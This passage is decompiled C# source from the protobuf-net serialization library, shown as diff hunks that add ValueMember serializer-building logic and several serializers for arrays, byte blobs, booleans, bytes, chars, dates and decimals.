mapValueFormat = value;
}
}
}
public string Name
{
get
{
if (!string.IsNullOrEmpty(name))
{
return name;
}
return originalMember.Name;
}
set
{
SetName(value);
}
}
public bool SupportNull
{
get
{
return HasFlag(16);
}
set
{
SetFlag(16, value, throwIfFrozen: true);
}
}
public ValueMember(RuntimeTypeModel model, Type parentType, int fieldNumber, MemberInfo member, Type memberType, Type itemType, Type defaultType, DataFormat dataFormat, object defaultValue)
: this(model, fieldNumber, memberType, itemType, defaultType, dataFormat)
{
if ((object)parentType == null)
{
throw new ArgumentNullException("parentType");
}
if (fieldNumber < 1 && !Helpers.IsEnum(parentType))
{
throw new ArgumentOutOfRangeException("fieldNumber");
}
originalMember = member ?? throw new ArgumentNullException("member");
this.parentType = parentType;
if (fieldNumber < 1 && !Helpers.IsEnum(parentType))
{
throw new ArgumentOutOfRangeException("fieldNumber");
}
if (defaultValue != null && (object)model.MapType(defaultValue.GetType()) != memberType)
{
defaultValue = ParseDefaultValue(memberType, defaultValue);
}
this.defaultValue = defaultValue;
MetaType metaType = model.FindWithoutAdd(memberType);
if (metaType != null)
{
AsReference = metaType.AsReferenceDefault;
}
else
{
AsReference = MetaType.GetAsReferenceDefault(model, memberType);
}
}
internal ValueMember(RuntimeTypeModel model, int fieldNumber, Type memberType, Type itemType, Type defaultType, DataFormat dataFormat)
{
_fieldNumber = fieldNumber;
this.memberType = memberType ?? throw new ArgumentNullException("memberType");
this.itemType = itemType;
this.defaultType = defaultType;
this.model = model ?? throw new ArgumentNullException("model");
this.dataFormat = dataFormat;
}
internal object GetRawEnumValue()
{
return ((FieldInfo)originalMember).GetRawConstantValue();
}
private static object ParseDefaultValue(Type type, object value)
{
Type underlyingType = Helpers.GetUnderlyingType(type);
if ((object)underlyingType != null)
{
type = underlyingType;
}
if (value is string text)
{
if (Helpers.IsEnum(type))
{
return Helpers.ParseEnum(type, text);
}
switch (Helpers.GetTypeCode(type))
{
case ProtoTypeCode.Boolean:
return bool.Parse(text);
case ProtoTypeCode.Byte:
return byte.Parse(text, NumberStyles.Integer, CultureInfo.InvariantCulture);
case ProtoTypeCode.Char:
if (text.Length == 1)
{
return text[0];
}
throw new FormatException("Single character expected: \"" + text + "\"");
case ProtoTypeCode.DateTime:
return DateTime.Parse(text, CultureInfo.InvariantCulture);
case ProtoTypeCode.Decimal:
return decimal.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.Double:
return double.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.Int16:
return short.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.Int32:
return int.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.Int64:
return long.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.SByte:
return sbyte.Parse(text, NumberStyles.Integer, CultureInfo.InvariantCulture);
case ProtoTypeCode.Single:
return float.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.String:
return text;
case ProtoTypeCode.UInt16:
return ushort.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.UInt32:
return uint.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.UInt64:
return ulong.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.TimeSpan:
return TimeSpan.Parse(text);
case ProtoTypeCode.Uri:
return text;
case ProtoTypeCode.Guid:
return new Guid(text);
}
}
if (Helpers.IsEnum(type))
{
return Enum.ToObject(type, value);
}
return Convert.ChangeType(value, type, CultureInfo.InvariantCulture);
}
public void SetSpecified(MethodInfo getSpecified, MethodInfo setSpecified)
{
if ((object)this.getSpecified != getSpecified || (object)this.setSpecified != setSpecified)
{
if ((object)getSpecified != null && ((object)getSpecified.ReturnType != model.MapType(typeof(bool)) || getSpecified.IsStatic || getSpecified.GetParameters().Length != 0))
{
throw new ArgumentException("Invalid pattern for checking member-specified", "getSpecified");
}
ParameterInfo[] parameters;
if ((object)setSpecified != null && ((object)setSpecified.ReturnType != model.MapType(typeof(void)) || setSpecified.IsStatic || (parameters = setSpecified.GetParameters()).Length != 1 || (object)parameters[0].ParameterType != model.MapType(typeof(bool))))
{
throw new ArgumentException("Invalid pattern for setting member-specified", "setSpecified");
}
ThrowIfFrozen();
this.getSpecified = getSpecified;
this.setSpecified = setSpecified;
}
}
private void ThrowIfFrozen()
{
if (serializer != null)
{
throw new InvalidOperationException("The type cannot be changed once a serializer has been generated");
}
}
internal bool ResolveMapTypes(out Type dictionaryType, out Type keyType, out Type valueType)
{
dictionaryType = (keyType = (valueType = null));
try
{
Type type = memberType;
if (ImmutableCollectionDecorator.IdentifyImmutable(model, MemberType, out var _, out var _, out var _, out var _, out var _, out var _))
{
return false;
}
if (type.IsInterface && type.IsGenericType && (object)type.GetGenericTypeDefinition() == typeof(IDictionary<, >))
{
Type[] genericArguments = memberType.GetGenericArguments();
if (IsValidMapKeyType(genericArguments[0]))
{
keyType = genericArguments[0];
valueType = genericArguments[1];
dictionaryType = memberType;
}
return false;
}
Type[] interfaces = memberType.GetInterfaces();
foreach (Type type2 in interfaces)
{
type = type2;
if (type.IsGenericType && (object)type.GetGenericTypeDefinition() == typeof(IDictionary<, >))
{
if ((object)dictionaryType != null)
{
throw new InvalidOperationException("Multiple dictionary interfaces implemented by type: " + memberType.FullName);
}
Type[] genericArguments2 = type2.GetGenericArguments();
if (IsValidMapKeyType(genericArguments2[0]))
{
keyType = genericArguments2[0];
valueType = genericArguments2[1];
dictionaryType = memberType;
}
}
}
if ((object)dictionaryType == null)
{
return false;
}
Type type3 = null;
Type type4 = null;
model.ResolveListTypes(valueType, ref type3, ref type4);
if ((object)type3 != null)
{
return false;
}
return (object)dictionaryType != null;
}
catch
{
return false;
}
}
private static bool IsValidMapKeyType(Type type)
{
if ((object)type == null || Helpers.IsEnum(type))
{
return false;
}
ProtoTypeCode typeCode = Helpers.GetTypeCode(type);
if ((uint)(typeCode - 3) <= 9u || typeCode == ProtoTypeCode.String)
{
return true;
}
return false;
}
private IProtoSerializer BuildSerializer()
{
int opaqueToken = 0;
try
{
model.TakeLock(ref opaqueToken);
MemberInfo memberInfo = backingMember ?? originalMember;
IProtoSerializer protoSerializer3;
if (IsMap)
{
ResolveMapTypes(out var dictionaryType, out var keyType, out var valueType);
if ((object)dictionaryType == null)
{
throw new InvalidOperationException("Unable to resolve map type for type: " + memberType.FullName);
}
Type type = defaultType;
if ((object)type == null && Helpers.IsClass(memberType))
{
type = memberType;
}
WireType defaultWireType;
IProtoSerializer protoSerializer = TryGetCoreSerializer(model, MapKeyFormat, keyType, out defaultWireType, asReference: false, dynamicType: false, overwriteList: false, allowComplexTypes: false);
if (!AsReference)
{
AsReference = MetaType.GetAsReferenceDefault(model, valueType);
}
WireType defaultWireType2;
IProtoSerializer protoSerializer2 = TryGetCoreSerializer(model, MapValueFormat, valueType, out defaultWireType2, AsReference, DynamicType, overwriteList: false, allowComplexTypes: true);
ConstructorInfo[] constructors = typeof(MapDecorator<, , >).MakeGenericType(dictionaryType, keyType, valueType).GetConstructors(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic);
if (constructors.Length != 1)
{
throw new InvalidOperationException("Unable to resolve MapDecorator constructor");
}
protoSerializer3 = (IProtoSerializer)constructors[0].Invoke(new object[9]
{
model,
type,
protoSerializer,
protoSerializer2,
_fieldNumber,
(DataFormat == DataFormat.Group) ? WireType.StartGroup : WireType.String,
defaultWireType,
defaultWireType2,
OverwriteList
});
}
else
{
Type type2 = itemType ?? memberType;
protoSerializer3 = TryGetCoreSerializer(model, dataFormat, type2, out var defaultWireType3, AsReference, DynamicType, OverwriteList, allowComplexTypes: true);
if (protoSerializer3 == null)
{
throw new InvalidOperationException("No serializer defined for type: " + type2.FullName);
}
if ((object)itemType != null && SupportNull)
{
if (IsPacked)
{
throw new NotSupportedException("Packed encodings cannot support null values");
}
protoSerializer3 = new TagDecorator(1, defaultWireType3, IsStrict, protoSerializer3);
protoSerializer3 = new NullDecorator(model, protoSerializer3);
protoSerializer3 = new TagDecorator(_fieldNumber, WireType.StartGroup, strict: false, protoSerializer3);
}
else
{
protoSerializer3 = new TagDecorator(_fieldNumber, defaultWireType3, IsStrict, protoSerializer3);
}
if ((object)itemType != null)
{
Type type3 = (SupportNull ? itemType : (Helpers.GetUnderlyingType(itemType) ?? itemType));
protoSerializer3 = ((!memberType.IsArray) ? ((ProtoDecoratorBase)ListDecorator.Create(model, memberType, defaultType, protoSerializer3, _fieldNumber, IsPacked, defaultWireType3, (object)memberInfo != null && PropertyDecorator.CanWrite(model, memberInfo), OverwriteList, SupportNull)) : ((ProtoDecoratorBase)new ArrayDecorator(model, protoSerializer3, _fieldNumber, IsPacked, defaultWireType3, memberType, OverwriteList, SupportNull)));
}
else if (defaultValue != null && !IsRequired && (object)getSpecified == null)
{
protoSerializer3 = new DefaultValueDecorator(model, defaultValue, protoSerializer3);
}
if ((object)memberType == model.MapType(typeof(Uri)))
{
protoSerializer3 = new UriDecorator(model, protoSerializer3);
}
}
if ((object)memberInfo != null)
{
if (memberInfo is PropertyInfo property)
{
protoSerializer3 = new PropertyDecorator(model, parentType, property, protoSerializer3);
}
else
{
if (!(memberInfo is FieldInfo field))
{
throw new InvalidOperationException();
}
protoSerializer3 = new FieldDecorator(parentType, field, protoSerializer3);
}
if ((object)getSpecified != null || (object)setSpecified != null)
{
protoSerializer3 = new MemberSpecifiedDecorator(getSpecified, setSpecified, protoSerializer3);
}
}
return protoSerializer3;
}
finally
{
model.ReleaseLock(opaqueToken);
}
}
private static WireType GetIntWireType(DataFormat format, int width)
{
switch (format)
{
case DataFormat.ZigZag:
return WireType.SignedVariant;
case DataFormat.FixedSize:
if (width != 32)
{
return WireType.Fixed64;
}
return WireType.Fixed32;
case DataFormat.Default:
case DataFormat.TwosComplement:
return WireType.Variant;
default:
throw new InvalidOperationException();
}
}
private static WireType GetDateTimeWireType(DataFormat format)
{
switch (format)
{
case DataFormat.Group:
return WireType.StartGroup;
case DataFormat.FixedSize:
return WireType.Fixed64;
case DataFormat.Default:
case DataFormat.WellKnown:
return WireType.String;
default:
throw new InvalidOperationException();
}
}
internal static IProtoSerializer TryGetCoreSerializer(RuntimeTypeModel model, DataFormat dataFormat, Type type, out WireType defaultWireType, bool asReference, bool dynamicType, bool overwriteList, bool allowComplexTypes)
{
Type underlyingType = Helpers.GetUnderlyingType(type);
if ((object)underlyingType != null)
{
type = underlyingType;
}
if (Helpers.IsEnum(type))
{
if (allowComplexTypes && model != null)
{
defaultWireType = WireType.Variant;
return new EnumSerializer(type, model.GetEnumMap(type));
}
defaultWireType = WireType.None;
return null;
}
switch (Helpers.GetTypeCode(type))
{
case ProtoTypeCode.Int32:
defaultWireType = GetIntWireType(dataFormat, 32);
return new Int32Serializer(model);
case ProtoTypeCode.UInt32:
defaultWireType = GetIntWireType(dataFormat, 32);
return new UInt32Serializer(model);
case ProtoTypeCode.Int64:
defaultWireType = GetIntWireType(dataFormat, 64);
return new Int64Serializer(model);
case ProtoTypeCode.UInt64:
defaultWireType = GetIntWireType(dataFormat, 64);
return new UInt64Serializer(model);
case ProtoTypeCode.String:
defaultWireType = WireType.String;
if (asReference)
{
return new NetObjectSerializer(model, model.MapType(typeof(string)), 0, BclHelpers.NetObjectOptions.AsReference);
}
return new StringSerializer(model);
case ProtoTypeCode.Single:
defaultWireType = WireType.Fixed32;
return new SingleSerializer(model);
case ProtoTypeCode.Double:
defaultWireType = WireType.Fixed64;
return new DoubleSerializer(model);
case ProtoTypeCode.Boolean:
defaultWireType = WireType.Variant;
return new BooleanSerializer(model);
case ProtoTypeCode.DateTime:
defaultWireType = GetDateTimeWireType(dataFormat);
return new DateTimeSerializer(dataFormat, model);
case ProtoTypeCode.Decimal:
defaultWireType = WireType.String;
return new DecimalSerializer(model);
case ProtoTypeCode.Byte:
defaultWireType = GetIntWireType(dataFormat, 32);
return new ByteSerializer(model);
case ProtoTypeCode.SByte:
defaultWireType = GetIntWireType(dataFormat, 32);
return new SByteSerializer(model);
case ProtoTypeCode.Char:
defaultWireType = WireType.Variant;
return new CharSerializer(model);
case ProtoTypeCode.Int16:
defaultWireType = GetIntWireType(dataFormat, 32);
return new Int16Serializer(model);
case ProtoTypeCode.UInt16:
defaultWireType = GetIntWireType(dataFormat, 32);
return new UInt16Serializer(model);
case ProtoTypeCode.TimeSpan:
defaultWireType = GetDateTimeWireType(dataFormat);
return new TimeSpanSerializer(dataFormat, model);
case ProtoTypeCode.Guid:
defaultWireType = ((dataFormat == DataFormat.Group) ? WireType.StartGroup : WireType.String);
return new GuidSerializer(model);
case ProtoTypeCode.Uri:
defaultWireType = WireType.String;
return new StringSerializer(model);
case ProtoTypeCode.ByteArray:
defaultWireType = WireType.String;
return new BlobSerializer(model, overwriteList);
case ProtoTypeCode.Type:
defaultWireType = WireType.String;
return new SystemTypeSerializer(model);
default:
{
IProtoSerializer protoSerializer = (model.AllowParseableTypes ? ParseableSerializer.TryCreate(type, model) : null);
if (protoSerializer != null)
{
defaultWireType = WireType.String;
return protoSerializer;
}
if (allowComplexTypes && model != null)
{
int key = model.GetKey(type, demand: false, getBaseKey: true);
MetaType metaType = null;
if (key >= 0)
{
metaType = model[type];
if (dataFormat == DataFormat.Default && metaType.IsGroup)
{
dataFormat = DataFormat.Group;
}
}
if (asReference || dynamicType)
{
BclHelpers.NetObjectOptions netObjectOptions = BclHelpers.NetObjectOptions.None;
if (asReference)
{
netObjectOptions |= BclHelpers.NetObjectOptions.AsReference;
}
if (dynamicType)
{
netObjectOptions |= BclHelpers.NetObjectOptions.DynamicType;
}
if (metaType != null)
{
if (asReference && Helpers.IsValueType(type))
{
string text = "AsReference cannot be used with value-types";
text = ((!(type.Name == "KeyValuePair`2")) ? (text + ": " + type.FullName) : (text + "; please see https://stackoverflow.com/q/14436606/23354"));
throw new InvalidOperationException(text);
}
if (asReference && metaType.IsAutoTuple)
{
netObjectOptions |= BclHelpers.NetObjectOptions.LateSet;
}
if (metaType.UseConstructor)
{
netObjectOptions |= BclHelpers.NetObjectOptions.UseConstructor;
}
}
defaultWireType = ((dataFormat == DataFormat.Group) ? WireType.StartGroup : WireType.String);
return new NetObjectSerializer(model, type, key, netObjectOptions);
}
if (key >= 0)
{
defaultWireType = ((dataFormat == DataFormat.Group) ? WireType.StartGroup : WireType.String);
return new SubItemSerializer(type, key, metaType, recursionCheck: true);
}
}
defaultWireType = WireType.None;
return null;
}
}
}
internal void SetName(string name)
{
if (name != this.name)
{
ThrowIfFrozen();
this.name = name;
}
}
private bool HasFlag(byte flag)
{
return (flags & flag) == flag;
}
private void SetFlag(byte flag, bool value, bool throwIfFrozen)
{
if (throwIfFrozen && HasFlag(flag) != value)
{
ThrowIfFrozen();
}
if (value)
{
flags |= flag;
}
else
{
flags = (byte)(flags & ~flag);
}
}
internal string GetSchemaTypeName(bool applyNetObjectProxy, ref RuntimeTypeModel.CommonImports imports)
{
Type type = ItemType;
if ((object)type == null)
{
type = MemberType;
}
return model.GetSchemaTypeName(type, DataFormat, applyNetObjectProxy && AsReference, applyNetObjectProxy && DynamicType, ref imports);
}
}
@@ -0,0 +1,306 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.Reflection;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class ArrayDecorator : ProtoDecoratorBase
{
private readonly int fieldNumber;
private const byte OPTIONS_WritePacked = 1;
private const byte OPTIONS_OverwriteList = 2;
private const byte OPTIONS_SupportNull = 4;
private readonly byte options;
private readonly WireType packedWireType;
private readonly Type arrayType;
private readonly Type itemType;
public override Type ExpectedType => arrayType;
public override bool RequiresOldValue => AppendToCollection;
public override bool ReturnsValue => true;
private bool AppendToCollection => (options & 2) == 0;
private bool SupportNull => (options & 4) != 0;
public ArrayDecorator(TypeModel model, IProtoSerializer tail, int fieldNumber, bool writePacked, WireType packedWireType, Type arrayType, bool overwriteList, bool supportNull)
: base(tail)
{
itemType = arrayType.GetElementType();
Type type = (supportNull ? itemType : (Helpers.GetUnderlyingType(itemType) ?? itemType));
if ((writePacked || packedWireType != WireType.None) && fieldNumber <= 0)
{
throw new ArgumentOutOfRangeException("fieldNumber");
}
if (!ListDecorator.CanPack(packedWireType))
{
if (writePacked)
{
throw new InvalidOperationException("Only simple data-types can use packed encoding");
}
packedWireType = WireType.None;
}
this.fieldNumber = fieldNumber;
this.packedWireType = packedWireType;
if (writePacked)
{
options |= 1;
}
if (overwriteList)
{
options |= 2;
}
if (supportNull)
{
options |= 4;
}
this.arrayType = arrayType;
}
private bool CanUsePackedPrefix()
{
return CanUsePackedPrefix(packedWireType, itemType);
}
internal static bool CanUsePackedPrefix(WireType packedWireType, Type itemType)
{
if (packedWireType != WireType.Fixed64 && packedWireType != WireType.Fixed32)
{
return false;
}
if (!Helpers.IsValueType(itemType))
{
return false;
}
return (object)Helpers.GetUnderlyingType(itemType) == null;
}
protected override void EmitWrite(CompilerContext ctx, Local valueFrom)
{
using Local local = ctx.GetLocalWithValue(arrayType, valueFrom);
using Local i = new Local(ctx, ctx.MapType(typeof(int)));
bool flag = (options & 1) != 0;
bool flag2 = flag && CanUsePackedPrefix();
using Local local2 = ((flag && !flag2) ? new Local(ctx, ctx.MapType(typeof(SubItemToken))) : null);
Type type = ctx.MapType(typeof(ProtoWriter));
if (flag)
{
ctx.LoadValue(fieldNumber);
ctx.LoadValue(2);
ctx.LoadReaderWriter();
ctx.EmitCall(type.GetMethod("WriteFieldHeader"));
if (flag2)
{
ctx.LoadLength(local, zeroIfNull: false);
ctx.LoadValue((int)packedWireType);
ctx.LoadReaderWriter();
ctx.EmitCall(type.GetMethod("WritePackedPrefix"));
}
else
{
ctx.LoadValue(local);
ctx.LoadReaderWriter();
ctx.EmitCall(type.GetMethod("StartSubItem"));
ctx.StoreValue(local2);
}
ctx.LoadValue(fieldNumber);
ctx.LoadReaderWriter();
ctx.EmitCall(type.GetMethod("SetPackedField"));
}
EmitWriteArrayLoop(ctx, i, local);
if (flag)
{
if (flag2)
{
ctx.LoadValue(fieldNumber);
ctx.LoadReaderWriter();
ctx.EmitCall(type.GetMethod("ClearPackedField"));
}
else
{
ctx.LoadValue(local2);
ctx.LoadReaderWriter();
ctx.EmitCall(type.GetMethod("EndSubItem"));
}
}
}
private void EmitWriteArrayLoop(CompilerContext ctx, Local i, Local arr)
{
ctx.LoadValue(0);
ctx.StoreValue(i);
CodeLabel label = ctx.DefineLabel();
CodeLabel label2 = ctx.DefineLabel();
ctx.Branch(label, @short: false);
ctx.MarkLabel(label2);
ctx.LoadArrayValue(arr, i);
if (SupportNull)
{
Tail.EmitWrite(ctx, null);
}
else
{
ctx.WriteNullCheckedTail(itemType, Tail, null);
}
ctx.LoadValue(i);
ctx.LoadValue(1);
ctx.Add();
ctx.StoreValue(i);
ctx.MarkLabel(label);
ctx.LoadValue(i);
ctx.LoadLength(arr, zeroIfNull: false);
ctx.BranchIfLess(label2, @short: false);
}
public override void Write(object value, ProtoWriter dest)
{
IList list = (IList)value;
int count = list.Count;
bool flag = (options & 1) != 0;
bool flag2 = flag && CanUsePackedPrefix();
SubItemToken token;
if (flag)
{
ProtoWriter.WriteFieldHeader(fieldNumber, WireType.String, dest);
if (flag2)
{
ProtoWriter.WritePackedPrefix(list.Count, packedWireType, dest);
token = default(SubItemToken);
}
else
{
token = ProtoWriter.StartSubItem(value, dest);
}
ProtoWriter.SetPackedField(fieldNumber, dest);
}
else
{
token = default(SubItemToken);
}
bool flag3 = !SupportNull;
for (int i = 0; i < count; i++)
{
object obj = list[i];
if (flag3 && obj == null)
{
throw new NullReferenceException();
}
Tail.Write(obj, dest);
}
if (flag)
{
if (flag2)
{
ProtoWriter.ClearPackedField(fieldNumber, dest);
}
else
{
ProtoWriter.EndSubItem(token, dest);
}
}
}
public override object Read(object value, ProtoReader source)
{
int field = source.FieldNumber;
BasicList basicList = new BasicList();
if (packedWireType != WireType.None && source.WireType == WireType.String)
{
SubItemToken token = ProtoReader.StartSubItem(source);
while (ProtoReader.HasSubValue(packedWireType, source))
{
basicList.Add(Tail.Read(null, source));
}
ProtoReader.EndSubItem(token, source);
}
else
{
do
{
basicList.Add(Tail.Read(null, source));
}
while (source.TryReadFieldHeader(field));
}
int num = (AppendToCollection ? ((value != null) ? ((Array)value).Length : 0) : 0);
Array array = Array.CreateInstance(itemType, num + basicList.Count);
if (num != 0)
{
((Array)value).CopyTo(array, 0);
}
basicList.CopyTo(array, num);
return array;
}
protected override void EmitRead(CompilerContext ctx, Local valueFrom)
{
Type type = ctx.MapType(typeof(List<>)).MakeGenericType(itemType);
Type expectedType = ExpectedType;
using Local local = (AppendToCollection ? ctx.GetLocalWithValue(expectedType, valueFrom) : null);
using Local local2 = new Local(ctx, expectedType);
using Local local3 = new Local(ctx, type);
ctx.EmitCtor(type);
ctx.StoreValue(local3);
ListDecorator.EmitReadList(ctx, local3, Tail, type.GetMethod("Add"), packedWireType, castListForAdd: false);
using (Local local4 = (AppendToCollection ? new Local(ctx, ctx.MapType(typeof(int))) : null))
{
Type[] array = new Type[2]
{
ctx.MapType(typeof(Array)),
ctx.MapType(typeof(int))
};
if (AppendToCollection)
{
ctx.LoadLength(local, zeroIfNull: true);
ctx.CopyValue();
ctx.StoreValue(local4);
ctx.LoadAddress(local3, type);
ctx.LoadValue(type.GetProperty("Count"));
ctx.Add();
ctx.CreateArray(itemType, null);
ctx.StoreValue(local2);
ctx.LoadValue(local4);
CodeLabel label = ctx.DefineLabel();
ctx.BranchIfFalse(label, @short: true);
ctx.LoadValue(local);
ctx.LoadValue(local2);
ctx.LoadValue(0);
ctx.EmitCall(expectedType.GetMethod("CopyTo", array));
ctx.MarkLabel(label);
ctx.LoadValue(local3);
ctx.LoadValue(local2);
ctx.LoadValue(local4);
}
else
{
ctx.LoadAddress(local3, type);
ctx.LoadValue(type.GetProperty("Count"));
ctx.CreateArray(itemType, null);
ctx.StoreValue(local2);
ctx.LoadAddress(local3, type);
ctx.LoadValue(local2);
ctx.LoadValue(0);
}
array[0] = expectedType;
MethodInfo method = type.GetMethod("CopyTo", array);
if ((object)method == null)
{
array[1] = ctx.MapType(typeof(Array));
method = type.GetMethod("CopyTo", array);
}
ctx.EmitCall(method);
}
ctx.LoadValue(local2);
}
}
@@ -0,0 +1,52 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class BlobSerializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(byte[]);
private readonly bool overwriteList;
public Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => !overwriteList;
bool IProtoSerializer.ReturnsValue => true;
public BlobSerializer(TypeModel model, bool overwriteList)
{
this.overwriteList = overwriteList;
}
public object Read(object value, ProtoReader source)
{
return ProtoReader.AppendBytes(overwriteList ? null : ((byte[])value), source);
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteBytes((byte[])value, dest);
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicWrite("WriteBytes", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
if (overwriteList)
{
ctx.LoadNullRef();
}
else
{
ctx.LoadValue(valueFrom);
}
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("AppendBytes"));
}
}
@@ -0,0 +1,40 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class BooleanSerializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(bool);
public Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public BooleanSerializer(TypeModel model)
{
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteBoolean((bool)value, dest);
}
public object Read(object value, ProtoReader source)
{
return source.ReadBoolean();
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicWrite("WriteBoolean", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicRead("ReadBoolean", ExpectedType);
}
}
@@ -0,0 +1,40 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class ByteSerializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(byte);
public Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public ByteSerializer(TypeModel model)
{
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteByte((byte)value, dest);
}
public object Read(object value, ProtoReader source)
{
return source.ReadByte();
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicWrite("WriteByte", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicRead("ReadByte", ExpectedType);
}
}
@@ -0,0 +1,26 @@
using System;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class CharSerializer : UInt16Serializer
{
private static readonly Type expectedType = typeof(char);
public override Type ExpectedType => expectedType;
public CharSerializer(TypeModel model)
: base(model)
{
}
public override void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteUInt16((char)value, dest);
}
public override object Read(object value, ProtoReader source)
{
return (char)source.ReadUInt16();
}
}
@@ -0,0 +1,87 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class CompiledSerializer : IProtoTypeSerializer, IProtoSerializer
{
private readonly IProtoTypeSerializer head;
private readonly ProtoSerializer serializer;
private readonly ProtoDeserializer deserializer;
bool IProtoSerializer.RequiresOldValue => head.RequiresOldValue;
bool IProtoSerializer.ReturnsValue => head.ReturnsValue;
Type IProtoSerializer.ExpectedType => head.ExpectedType;
bool IProtoTypeSerializer.HasCallbacks(TypeModel.CallbackType callbackType)
{
return head.HasCallbacks(callbackType);
}
bool IProtoTypeSerializer.CanCreateInstance()
{
return head.CanCreateInstance();
}
object IProtoTypeSerializer.CreateInstance(ProtoReader source)
{
return head.CreateInstance(source);
}
public void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context)
{
head.Callback(value, callbackType, context);
}
public static CompiledSerializer Wrap(IProtoTypeSerializer head, TypeModel model)
{
CompiledSerializer compiledSerializer = head as CompiledSerializer;
if (compiledSerializer == null)
{
compiledSerializer = new CompiledSerializer(head, model);
}
return compiledSerializer;
}
private CompiledSerializer(IProtoTypeSerializer head, TypeModel model)
{
this.head = head;
serializer = CompilerContext.BuildSerializer(head, model);
deserializer = CompilerContext.BuildDeserializer(head, model);
}
void IProtoSerializer.Write(object value, ProtoWriter dest)
{
serializer(value, dest);
}
object IProtoSerializer.Read(object value, ProtoReader source)
{
return deserializer(value, source);
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
head.EmitWrite(ctx, valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
head.EmitRead(ctx, valueFrom);
}
void IProtoTypeSerializer.EmitCallback(CompilerContext ctx, Local valueFrom, TypeModel.CallbackType callbackType)
{
head.EmitCallback(ctx, valueFrom, callbackType);
}
void IProtoTypeSerializer.EmitCreateInstance(CompilerContext ctx)
{
head.EmitCreateInstance(ctx);
}
}
@@ -0,0 +1,65 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class DateTimeSerializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(DateTime);
private readonly bool includeKind;
private readonly bool wellKnown;
public Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public DateTimeSerializer(DataFormat dataFormat, TypeModel model)
{
wellKnown = dataFormat == DataFormat.WellKnown;
includeKind = model?.SerializeDateTimeKind() ?? false;
}
public object Read(object value, ProtoReader source)
{
if (wellKnown)
{
return BclHelpers.ReadTimestamp(source);
}
return BclHelpers.ReadDateTime(source);
}
public void Write(object value, ProtoWriter dest)
{
if (wellKnown)
{
BclHelpers.WriteTimestamp((DateTime)value, dest);
}
else if (includeKind)
{
BclHelpers.WriteDateTimeWithKind((DateTime)value, dest);
}
else
{
BclHelpers.WriteDateTime((DateTime)value, dest);
}
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), wellKnown ? "WriteTimestamp" : (includeKind ? "WriteDateTimeWithKind" : "WriteDateTime"), valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local entity)
{
if (wellKnown)
{
ctx.LoadValue(entity);
}
ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), wellKnown ? "ReadTimestamp" : "ReadDateTime", ExpectedType);
}
}
@@ -0,0 +1,40 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class DecimalSerializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(decimal);
public Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public DecimalSerializer(TypeModel model)
{
}
public object Read(object value, ProtoReader source)
{
return BclHelpers.ReadDecimal(source);
}
public void Write(object value, ProtoWriter dest)
{
BclHelpers.WriteDecimal((decimal)value, dest);
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
